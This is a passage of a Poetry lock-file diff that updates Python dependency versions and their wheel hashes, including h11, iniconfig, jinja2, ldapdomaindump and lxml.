"sha256:45f9f4853fb4cc46783085261c9ec4706628f3b57de3e68bae03e8f8b3c0de51"}, + {file = "greenlet-3.2.2-cp314-cp314-macosx_11_0_universal2.whl", hash = "sha256:9ea5231428af34226c05f927e16fc7f6fa5e39e3ad3cd24ffa48ba53a47f4240"}, + {file = "greenlet-3.2.2-cp39-cp39-macosx_11_0_universal2.whl", hash = "sha256:1e4747712c4365ef6765708f948acc9c10350719ca0545e362c24ab973017370"}, + {file = "greenlet-3.2.2-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:782743700ab75716650b5238a4759f840bb2dcf7bff56917e9ffdf9f1f23ec59"}, + {file = "greenlet-3.2.2-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:354f67445f5bed6604e493a06a9a49ad65675d3d03477d38a4db4a427e9aad0e"}, + {file = "greenlet-3.2.2-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:3aeca9848d08ce5eb653cf16e15bb25beeab36e53eb71cc32569f5f3afb2a3aa"}, + {file = "greenlet-3.2.2-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:8cb8553ee954536500d88a1a2f58fcb867e45125e600e80f586ade399b3f8819"}, + {file = "greenlet-3.2.2-cp39-cp39-manylinux_2_24_x86_64.manylinux_2_28_x86_64.whl", hash = "sha256:1592a615b598643dbfd566bac8467f06c8c8ab6e56f069e573832ed1d5d528cc"}, + {file = "greenlet-3.2.2-cp39-cp39-musllinux_1_1_aarch64.whl", hash = "sha256:1f72667cc341c95184f1c68f957cb2d4fc31eef81646e8e59358a10ce6689457"}, + {file = "greenlet-3.2.2-cp39-cp39-musllinux_1_1_x86_64.whl", hash = "sha256:a8fa80665b1a29faf76800173ff5325095f3e66a78e62999929809907aca5659"}, + {file = "greenlet-3.2.2-cp39-cp39-win32.whl", hash = "sha256:6629311595e3fe7304039c67f00d145cd1d38cf723bb5b99cc987b23c1433d61"}, + {file = "greenlet-3.2.2-cp39-cp39-win_amd64.whl", hash = "sha256:eeb27bece45c0c2a5842ac4c5a1b5c2ceaefe5711078eed4e8043159fa05c834"}, + {file = "greenlet-3.2.2.tar.gz", hash = "sha256:ad053d34421a2debba45aa3cc39acf454acbcd025b3fc1a9f8a0dee237abd485"}, ] [package.extras] @@ -838,14 +877,14 @@ test = ["objgraph", "psutil"] [[package]] name = "h11" -version = "0.14.0" +version = "0.16.0" description = "A pure-Python, bring-your-own-I/O implementation of HTTP/1.1" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" groups = ["main"] files = [ - {file = "h11-0.14.0-py3-none-any.whl", hash = "sha256:e3fe4ac4b851c468cc8363d500db52c2ead036020723024a109d37346efaa761"}, - {file = "h11-0.14.0.tar.gz", hash = "sha256:8f19fbbe99e72420ff35c00b27a34cb9937e902a8b810e2c88300c6f0a3b699d"}, + {file = "h11-0.16.0-py3-none-any.whl", hash = "sha256:63cf8bbe7522de3bf65932fda1d9c2772064ffb3dae62d55932da54b31cb6c86"}, + {file = "h11-0.16.0.tar.gz", hash = "sha256:4e35b956cf45792e4caa5885e69fba00bdbc6ffafbfa020300e549b208ee5ff1"}, ] [[package]] @@ -894,14 +933,14 @@ resolved_reference = "0769c221136c2bee99643bcfd0e34f3a42636de9" [[package]] name = "iniconfig" -version = "2.0.0" +version = "2.1.0" description = "brain-dead simple config-ini parsing" optional = false -python-versions = ">=3.7" +python-versions = ">=3.8" groups = ["dev"] files = [ - {file = "iniconfig-2.0.0-py3-none-any.whl", hash = "sha256:b6a85871a79d2e3b22d2d1b94ac2824226a63c6b741c88f7ae975f18b6778374"}, - {file = "iniconfig-2.0.0.tar.gz", hash = "sha256:2d91e135bf72d31a410b17c16da610a82cb55f6b0477d1a902134b24a455b8b3"}, + {file = "iniconfig-2.1.0-py3-none-any.whl", hash = "sha256:9deba5723312380e77435581c6bf4935c94cbfab9b1ed33ef8d238ea168eb760"}, + {file = "iniconfig-2.1.0.tar.gz", hash = "sha256:3abbd2e30b36733fee78f9c7f7308f2d0050e88f0087fd25c2645f63c773e1c7"}, ] [[package]] @@ -918,14 +957,14 @@ files = [ [[package]] name = "jinja2" -version = "3.1.5" +version = "3.1.6" description = "A very fast and expressive template engine." optional = false python-versions = ">=3.7" groups = ["main"] files = [ - {file = "jinja2-3.1.5-py3-none-any.whl", hash = "sha256:aba0f4dc9ed8013c424088f68a5c226f7d6097ed89b246d7749c2ec4175c6adb"}, - {file = "jinja2-3.1.5.tar.gz", hash = "sha256:8fefff8dc3034e27bb80d67c671eb8a9bc424c0ef4c0826edbff304cceff43bb"}, + {file = "jinja2-3.1.6-py3-none-any.whl", hash = "sha256:85ece4451f492d0c13c5dd7c13a64681a86afae63a5f347908daf103ce6d2f67"}, + {file = "jinja2-3.1.6.tar.gz", hash = "sha256:0137fb05990d35f1275a587e9aee6d56da821fc83491a0fb838183be43f66d6d"}, ] [package.dependencies] @@ -965,20 +1004,18 @@ pyasn1 = ">=0.4.6" [[package]] name = "ldapdomaindump" -version = "0.9.4" +version = "0.10.0" description = "Active Directory information dumper via LDAP" optional = false -python-versions = "*" +python-versions = ">=3.6" groups = ["main"] files = [ - {file = "ldapdomaindump-0.9.4-py2-none-any.whl", hash = "sha256:c05ee1d892e6a0eb2d7bf167242d4bf747ff7758f625588a11795510d06de01f"}, - {file = "ldapdomaindump-0.9.4-py3-none-any.whl", hash = "sha256:51d0c241af1d6fa3eefd79b95d182a798d39c56c4e2efb7ffae244a0b54f58aa"}, - {file = "ldapdomaindump-0.9.4.tar.gz", hash = "sha256:99dcda17050a96549966e53bc89e71da670094d53d9542b3b0d0197d035e6f52"}, + {file = "ldapdomaindump-0.10.0-py3-none-any.whl", hash = "sha256:3797259596df7a5e1fda98388c96b1d94196f5da5551f1af1aaeedda0c9f5a11"}, + {file = "ldapdomaindump-0.10.0.tar.gz", hash = "sha256:cbc66b32a7787473ffd169c5319acde46c02fdc9d444556e6448e0def91d3299"}, ] [package.dependencies] dnspython = "*" -future = "*" ldap3 = ">2.5.0,<2.5.2 || >2.5.2,<2.6 || >2.6" [[package]] @@ -1001,150 +1038,144 @@ rich = "*" [[package]] name = "lxml" -version = "5.3.1" +version = "5.4.0" description = "Powerful and Pythonic XML processing library combining libxml2/libxslt with the ElementTree API." optional = false python-versions = ">=3.6" groups = ["main"] files = [ - {file = "lxml-5.3.1-cp310-cp310-macosx_10_9_universal2.whl", hash = "sha256:a4058f16cee694577f7e4dd410263cd0ef75644b43802a689c2b3c2a7e69453b"}, - {file = "lxml-5.3.1-cp310-cp310-macosx_10_9_x86_64.whl", hash = "sha256:364de8f57d6eda0c16dcfb999af902da31396949efa0e583e12675d09709881b"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:528f3a0498a8edc69af0559bdcf8a9f5a8bf7c00051a6ef3141fdcf27017bbf5"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db4743e30d6f5f92b6d2b7c86b3ad250e0bad8dee4b7ad8a0c44bfb276af89a3"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:17b5d7f8acf809465086d498d62a981fa6a56d2718135bb0e4aa48c502055f5c"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:928e75a7200a4c09e6efc7482a1337919cc61fe1ba289f297827a5b76d8969c2"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:5a997b784a639e05b9d4053ef3b20c7e447ea80814a762f25b8ed5a89d261eac"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_aarch64.whl", hash = "sha256:7b82e67c5feb682dbb559c3e6b78355f234943053af61606af126df2183b9ef9"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_ppc64le.whl", hash = "sha256:f1de541a9893cf8a1b1db9bf0bf670a2decab42e3e82233d36a74eda7822b4c9"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_s390x.whl", hash = "sha256:de1fc314c3ad6bc2f6bd5b5a5b9357b8c6896333d27fdbb7049aea8bd5af2d79"}, - {file = "lxml-5.3.1-cp310-cp310-manylinux_2_28_x86_64.whl", hash = "sha256:7c0536bd9178f754b277a3e53f90f9c9454a3bd108b1531ffff720e082d824f2"}, - {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_aarch64.whl", hash = "sha256:68018c4c67d7e89951a91fbd371e2e34cd8cfc71f0bb43b5332db38497025d51"}, - {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_ppc64le.whl", hash = "sha256:aa826340a609d0c954ba52fd831f0fba2a4165659ab0ee1a15e4aac21f302406"}, - {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_s390x.whl", hash = "sha256:796520afa499732191e39fc95b56a3b07f95256f2d22b1c26e217fb69a9db5b5"}, - {file = "lxml-5.3.1-cp310-cp310-musllinux_1_2_x86_64.whl", hash = "sha256:3effe081b3135237da6e4c4530ff2a868d3f80be0bda027e118a5971285d42d0"}, - {file = "lxml-5.3.1-cp310-cp310-win32.whl", hash = "sha256:a22f66270bd6d0804b02cd49dae2b33d4341015545d17f8426f2c4e22f557a23"}, - {file = "lxml-5.3.1-cp310-cp310-win_amd64.whl", hash = "sha256:0bcfadea3cdc68e678d2b20cb16a16716887dd00a881e16f7d806c2138b8ff0c"}, - {file = "lxml-5.3.1-cp311-cp311-macosx_10_9_universal2.whl", hash = "sha256:e220f7b3e8656ab063d2eb0cd536fafef396829cafe04cb314e734f87649058f"}, - {file = "lxml-5.3.1-cp311-cp311-macosx_10_9_x86_64.whl", hash = "sha256:0f2cfae0688fd01f7056a17367e3b84f37c545fb447d7282cf2c242b16262607"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:67d2f8ad9dcc3a9e826bdc7802ed541a44e124c29b7d95a679eeb58c1c14ade8"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:db0c742aad702fd5d0c6611a73f9602f20aec2007c102630c06d7633d9c8f09a"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:198bb4b4dd888e8390afa4f170d4fa28467a7eaf857f1952589f16cfbb67af27"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:d2a3e412ce1849be34b45922bfef03df32d1410a06d1cdeb793a343c2f1fd666"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2b8969dbc8d09d9cd2ae06362c3bad27d03f433252601ef658a49bd9f2b22d79"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_aarch64.whl", hash = "sha256:5be8f5e4044146a69c96077c7e08f0709c13a314aa5315981185c1f00235fe65"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_ppc64le.whl", hash = "sha256:133f3493253a00db2c870d3740bc458ebb7d937bd0a6a4f9328373e0db305709"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_s390x.whl", hash = "sha256:52d82b0d436edd6a1d22d94a344b9a58abd6c68c357ed44f22d4ba8179b37629"}, - {file = "lxml-5.3.1-cp311-cp311-manylinux_2_28_x86_64.whl", hash = "sha256:1b6f92e35e2658a5ed51c6634ceb5ddae32053182851d8cad2a5bc102a359b33"}, - {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_aarch64.whl", hash = "sha256:203b1d3eaebd34277be06a3eb880050f18a4e4d60861efba4fb946e31071a295"}, - {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_ppc64le.whl", hash = "sha256:155e1a5693cf4b55af652f5c0f78ef36596c7f680ff3ec6eb4d7d85367259b2c"}, - {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_s390x.whl", hash = "sha256:22ec2b3c191f43ed21f9545e9df94c37c6b49a5af0a874008ddc9132d49a2d9c"}, - {file = "lxml-5.3.1-cp311-cp311-musllinux_1_2_x86_64.whl", hash = "sha256:7eda194dd46e40ec745bf76795a7cccb02a6a41f445ad49d3cf66518b0bd9cff"}, - {file = "lxml-5.3.1-cp311-cp311-win32.whl", hash = "sha256:fb7c61d4be18e930f75948705e9718618862e6fc2ed0d7159b2262be73f167a2"}, - {file = "lxml-5.3.1-cp311-cp311-win_amd64.whl", hash = "sha256:c809eef167bf4a57af4b03007004896f5c60bd38dc3852fcd97a26eae3d4c9e6"}, - {file = "lxml-5.3.1-cp312-cp312-macosx_10_9_universal2.whl", hash = "sha256:e69add9b6b7b08c60d7ff0152c7c9a6c45b4a71a919be5abde6f98f1ea16421c"}, - {file = "lxml-5.3.1-cp312-cp312-macosx_10_9_x86_64.whl", hash = "sha256:4e52e1b148867b01c05e21837586ee307a01e793b94072d7c7b91d2c2da02ffe"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a4b382e0e636ed54cd278791d93fe2c4f370772743f02bcbe431a160089025c9"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:c2e49dc23a10a1296b04ca9db200c44d3eb32c8d8ec532e8c1fd24792276522a"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:4399b4226c4785575fb20998dc571bc48125dc92c367ce2602d0d70e0c455eb0"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:5412500e0dc5481b1ee9cf6b38bb3b473f6e411eb62b83dc9b62699c3b7b79f7"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:1c93ed3c998ea8472be98fb55aed65b5198740bfceaec07b2eba551e55b7b9ae"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_aarch64.whl", hash = "sha256:63d57fc94eb0bbb4735e45517afc21ef262991d8758a8f2f05dd6e4174944519"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_ppc64le.whl", hash = "sha256:b450d7cabcd49aa7ab46a3c6aa3ac7e1593600a1a0605ba536ec0f1b99a04322"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_s390x.whl", hash = "sha256:4df0ec814b50275ad6a99bc82a38b59f90e10e47714ac9871e1b223895825468"}, - {file = "lxml-5.3.1-cp312-cp312-manylinux_2_28_x86_64.whl", hash = "sha256:d184f85ad2bb1f261eac55cddfcf62a70dee89982c978e92b9a74a1bfef2e367"}, - {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_aarch64.whl", hash = "sha256:b725e70d15906d24615201e650d5b0388b08a5187a55f119f25874d0103f90dd"}, - {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_ppc64le.whl", hash = "sha256:a31fa7536ec1fb7155a0cd3a4e3d956c835ad0a43e3610ca32384d01f079ea1c"}, - {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_s390x.whl", hash = "sha256:3c3c8b55c7fc7b7e8877b9366568cc73d68b82da7fe33d8b98527b73857a225f"}, - {file = "lxml-5.3.1-cp312-cp312-musllinux_1_2_x86_64.whl", hash = "sha256:d61ec60945d694df806a9aec88e8f29a27293c6e424f8ff91c80416e3c617645"}, - {file = "lxml-5.3.1-cp312-cp312-win32.whl", hash = "sha256:f4eac0584cdc3285ef2e74eee1513a6001681fd9753b259e8159421ed28a72e5"}, - {file = "lxml-5.3.1-cp312-cp312-win_amd64.whl", hash = "sha256:29bfc8d3d88e56ea0a27e7c4897b642706840247f59f4377d81be8f32aa0cfbf"}, - {file = "lxml-5.3.1-cp313-cp313-macosx_10_13_universal2.whl", hash = "sha256:c093c7088b40d8266f57ed71d93112bd64c6724d31f0794c1e52cc4857c28e0e"}, - {file = "lxml-5.3.1-cp313-cp313-macosx_10_13_x86_64.whl", hash = "sha256:b0884e3f22d87c30694e625b1e62e6f30d39782c806287450d9dc2fdf07692fd"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:1637fa31ec682cd5760092adfabe86d9b718a75d43e65e211d5931809bc111e7"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a364e8e944d92dcbf33b6b494d4e0fb3499dcc3bd9485beb701aa4b4201fa414"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:779e851fd0e19795ccc8a9bb4d705d6baa0ef475329fe44a13cf1e962f18ff1e"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:c4393600915c308e546dc7003d74371744234e8444a28622d76fe19b98fa59d1"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:673b9d8e780f455091200bba8534d5f4f465944cbdd61f31dc832d70e29064a5"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_aarch64.whl", hash = "sha256:2e4a570f6a99e96c457f7bec5ad459c9c420ee80b99eb04cbfcfe3fc18ec6423"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_ppc64le.whl", hash = "sha256:71f31eda4e370f46af42fc9f264fafa1b09f46ba07bdbee98f25689a04b81c20"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_s390x.whl", hash = "sha256:42978a68d3825eaac55399eb37a4d52012a205c0c6262199b8b44fcc6fd686e8"}, - {file = "lxml-5.3.1-cp313-cp313-manylinux_2_28_x86_64.whl", hash = "sha256:8b1942b3e4ed9ed551ed3083a2e6e0772de1e5e3aca872d955e2e86385fb7ff9"}, - {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_aarch64.whl", hash = "sha256:85c4f11be9cf08917ac2a5a8b6e1ef63b2f8e3799cec194417e76826e5f1de9c"}, - {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_ppc64le.whl", hash = "sha256:231cf4d140b22a923b1d0a0a4e0b4f972e5893efcdec188934cc65888fd0227b"}, - {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_s390x.whl", hash = "sha256:5865b270b420eda7b68928d70bb517ccbe045e53b1a428129bb44372bf3d7dd5"}, - {file = "lxml-5.3.1-cp313-cp313-musllinux_1_2_x86_64.whl", hash = "sha256:dbf7bebc2275016cddf3c997bf8a0f7044160714c64a9b83975670a04e6d2252"}, - {file = "lxml-5.3.1-cp313-cp313-win32.whl", hash = "sha256:d0751528b97d2b19a388b302be2a0ee05817097bab46ff0ed76feeec24951f78"}, - {file = "lxml-5.3.1-cp313-cp313-win_amd64.whl", hash = "sha256:91fb6a43d72b4f8863d21f347a9163eecbf36e76e2f51068d59cd004c506f332"}, - {file = "lxml-5.3.1-cp36-cp36m-macosx_10_9_x86_64.whl", hash = "sha256:016b96c58e9a4528219bb563acf1aaaa8bc5452e7651004894a973f03b84ba81"}, - {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:82a4bb10b0beef1434fb23a09f001ab5ca87895596b4581fd53f1e5145a8934a"}, - {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:3d68eeef7b4d08a25e51897dac29bcb62aba830e9ac6c4e3297ee7c6a0cf6439"}, - {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_28_x86_64.whl", hash = "sha256:f12582b8d3b4c6be1d298c49cb7ae64a3a73efaf4c2ab4e37db182e3545815ac"}, - {file = "lxml-5.3.1-cp36-cp36m-manylinux_2_5_x86_64.manylinux1_x86_64.whl", hash = "sha256:2df7ed5edeb6bd5590914cd61df76eb6cce9d590ed04ec7c183cf5509f73530d"}, - {file = "lxml-5.3.1-cp36-cp36m-musllinux_1_2_x86_64.whl", hash = "sha256:585c4dc429deebc4307187d2b71ebe914843185ae16a4d582ee030e6cfbb4d8a"}, - {file = "lxml-5.3.1-cp36-cp36m-win32.whl", hash = "sha256:06a20d607a86fccab2fc15a77aa445f2bdef7b49ec0520a842c5c5afd8381576"}, - {file = "lxml-5.3.1-cp36-cp36m-win_amd64.whl", hash = "sha256:057e30d0012439bc54ca427a83d458752ccda725c1c161cc283db07bcad43cf9"}, - {file = "lxml-5.3.1-cp37-cp37m-macosx_10_9_x86_64.whl", hash = "sha256:4867361c049761a56bd21de507cab2c2a608c55102311d142ade7dab67b34f32"}, - {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:3dddf0fb832486cc1ea71d189cb92eb887826e8deebe128884e15020bb6e3f61"}, - {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:1bcc211542f7af6f2dfb705f5f8b74e865592778e6cafdfd19c792c244ccce19"}, - {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aaca5a812f050ab55426c32177091130b1e49329b3f002a32934cd0245571307"}, - {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_28_aarch64.whl", hash = "sha256:236610b77589faf462337b3305a1be91756c8abc5a45ff7ca8f245a71c5dab70"}, - {file = "lxml-5.3.1-cp37-cp37m-manylinux_2_28_x86_64.whl", hash = "sha256:aed57b541b589fa05ac248f4cb1c46cbb432ab82cbd467d1c4f6a2bdc18aecf9"}, - {file = "lxml-5.3.1-cp37-cp37m-musllinux_1_2_aarch64.whl", hash = "sha256:75fa3d6946d317ffc7016a6fcc44f42db6d514b7fdb8b4b28cbe058303cb6e53"}, - {file = "lxml-5.3.1-cp37-cp37m-musllinux_1_2_x86_64.whl", hash = "sha256:96eef5b9f336f623ffc555ab47a775495e7e8846dde88de5f941e2906453a1ce"}, - {file = "lxml-5.3.1-cp37-cp37m-win32.whl", hash = "sha256:ef45f31aec9be01379fc6c10f1d9c677f032f2bac9383c827d44f620e8a88407"}, - {file = "lxml-5.3.1-cp37-cp37m-win_amd64.whl", hash = "sha256:a0611da6b07dd3720f492db1b463a4d1175b096b49438761cc9f35f0d9eaaef5"}, - {file = "lxml-5.3.1-cp38-cp38-macosx_10_9_x86_64.whl", hash = "sha256:b2aca14c235c7a08558fe0a4786a1a05873a01e86b474dfa8f6df49101853a4e"}, - {file = "lxml-5.3.1-cp38-cp38-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:ae82fce1d964f065c32c9517309f0c7be588772352d2f40b1574a214bd6e6098"}, - {file = "lxml-5.3.1-cp38-cp38-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:7aae7a3d63b935babfdc6864b31196afd5145878ddd22f5200729006366bc4d5"}, - {file = "lxml-5.3.1-cp38-cp38-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:e8e0d177b1fe251c3b1b914ab64135475c5273c8cfd2857964b2e3bb0fe196a7"}, - {file = "lxml-5.3.1-cp38-cp38-manylinux_2_28_aarch64.whl", hash = "sha256:6c4dd3bfd0c82400060896717dd261137398edb7e524527438c54a8c34f736bf"}, - {file = "lxml-5.3.1-cp38-cp38-manylinux_2_28_x86_64.whl", hash = "sha256:f1208c1c67ec9e151d78aa3435aa9b08a488b53d9cfac9b699f15255a3461ef2"}, - {file = "lxml-5.3.1-cp38-cp38-musllinux_1_2_aarch64.whl", hash = "sha256:c6aacf00d05b38a5069826e50ae72751cb5bc27bdc4d5746203988e429b385bb"}, - {file = "lxml-5.3.1-cp38-cp38-musllinux_1_2_x86_64.whl", hash = "sha256:5881aaa4bf3a2d086c5f20371d3a5856199a0d8ac72dd8d0dbd7a2ecfc26ab73"}, - {file = "lxml-5.3.1-cp38-cp38-win32.whl", hash = "sha256:45fbb70ccbc8683f2fb58bea89498a7274af1d9ec7995e9f4af5604e028233fc"}, - {file = "lxml-5.3.1-cp38-cp38-win_amd64.whl", hash = "sha256:7512b4d0fc5339d5abbb14d1843f70499cab90d0b864f790e73f780f041615d7"}, - {file = "lxml-5.3.1-cp39-cp39-macosx_10_9_universal2.whl", hash = "sha256:5885bc586f1edb48e5d68e7a4b4757b5feb2a496b64f462b4d65950f5af3364f"}, - {file = "lxml-5.3.1-cp39-cp39-macosx_10_9_x86_64.whl", hash = "sha256:1b92fe86e04f680b848fff594a908edfa72b31bfc3499ef7433790c11d4c8cd8"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_12_i686.manylinux2010_i686.manylinux_2_17_i686.manylinux2014_i686.whl", hash = "sha256:a091026c3bf7519ab1e64655a3f52a59ad4a4e019a6f830c24d6430695b1cf6a"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:8ffb141361108e864ab5f1813f66e4e1164181227f9b1f105b042729b6c15125"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_ppc64le.manylinux2014_ppc64le.whl", hash = "sha256:3715cdf0dd31b836433af9ee9197af10e3df41d273c19bb249230043667a5dfd"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_s390x.manylinux2014_s390x.whl", hash = "sha256:88b72eb7222d918c967202024812c2bfb4048deeb69ca328363fb8e15254c549"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:aa59974880ab5ad8ef3afaa26f9bda148c5f39e06b11a8ada4660ecc9fb2feb3"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_aarch64.whl", hash = "sha256:3bb8149840daf2c3f97cebf00e4ed4a65a0baff888bf2605a8d0135ff5cf764e"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_ppc64le.whl", hash = "sha256:0d6b2fa86becfa81f0a0271ccb9eb127ad45fb597733a77b92e8a35e53414914"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_s390x.whl", hash = "sha256:136bf638d92848a939fd8f0e06fcf92d9f2e4b57969d94faae27c55f3d85c05b"}, - {file = "lxml-5.3.1-cp39-cp39-manylinux_2_28_x86_64.whl", hash = "sha256:89934f9f791566e54c1d92cdc8f8fd0009447a5ecdb1ec6b810d5f8c4955f6be"}, - {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_aarch64.whl", hash = "sha256:a8ade0363f776f87f982572c2860cc43c65ace208db49c76df0a21dde4ddd16e"}, - {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_ppc64le.whl", hash = "sha256:bfbbab9316330cf81656fed435311386610f78b6c93cc5db4bebbce8dd146675"}, - {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_s390x.whl", hash = "sha256:172d65f7c72a35a6879217bcdb4bb11bc88d55fb4879e7569f55616062d387c2"}, - {file = "lxml-5.3.1-cp39-cp39-musllinux_1_2_x86_64.whl", hash = "sha256:e3c623923967f3e5961d272718655946e5322b8d058e094764180cdee7bab1af"}, - {file = "lxml-5.3.1-cp39-cp39-win32.whl", hash = "sha256:ce0930a963ff593e8bb6fda49a503911accc67dee7e5445eec972668e672a0f0"}, - {file = "lxml-5.3.1-cp39-cp39-win_amd64.whl", hash = "sha256:f7b64fcd670bca8800bc10ced36620c6bbb321e7bc1214b9c0c0df269c1dddc2"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-macosx_10_15_x86_64.whl", hash = "sha256:afa578b6524ff85fb365f454cf61683771d0170470c48ad9d170c48075f86725"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:67f5e80adf0aafc7b5454f2c1cb0cde920c9b1f2cbd0485f07cc1d0497c35c5d"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", hash = "sha256:2dd0b80ac2d8f13ffc906123a6f20b459cb50a99222d0da492360512f3e50f84"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_28_aarch64.whl", hash = "sha256:422c179022ecdedbe58b0e242607198580804253da220e9454ffe848daa1cfd2"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-manylinux_2_28_x86_64.whl", hash = "sha256:524ccfded8989a6595dbdda80d779fb977dbc9a7bc458864fc9a0c2fc15dc877"}, - {file = "lxml-5.3.1-pp310-pypy310_pp73-win_amd64.whl", hash = "sha256:48fd46bf7155def2e15287c6f2b133a2f78e2d22cdf55647269977b873c65499"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-macosx_10_9_x86_64.whl", hash = "sha256:05123fad495a429f123307ac6d8fd6f977b71e9a0b6d9aeeb8f80c017cb17131"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_17_aarch64.manylinux2014_aarch64.whl", hash = "sha256:a243132767150a44e6a93cd1dde41010036e1cbc63cc3e9fe1712b277d926ce3"}, - {file = "lxml-5.3.1-pp37-pypy37_pp73-manylinux_2_17_x86_64.manylinux2014_x86_64.whl", 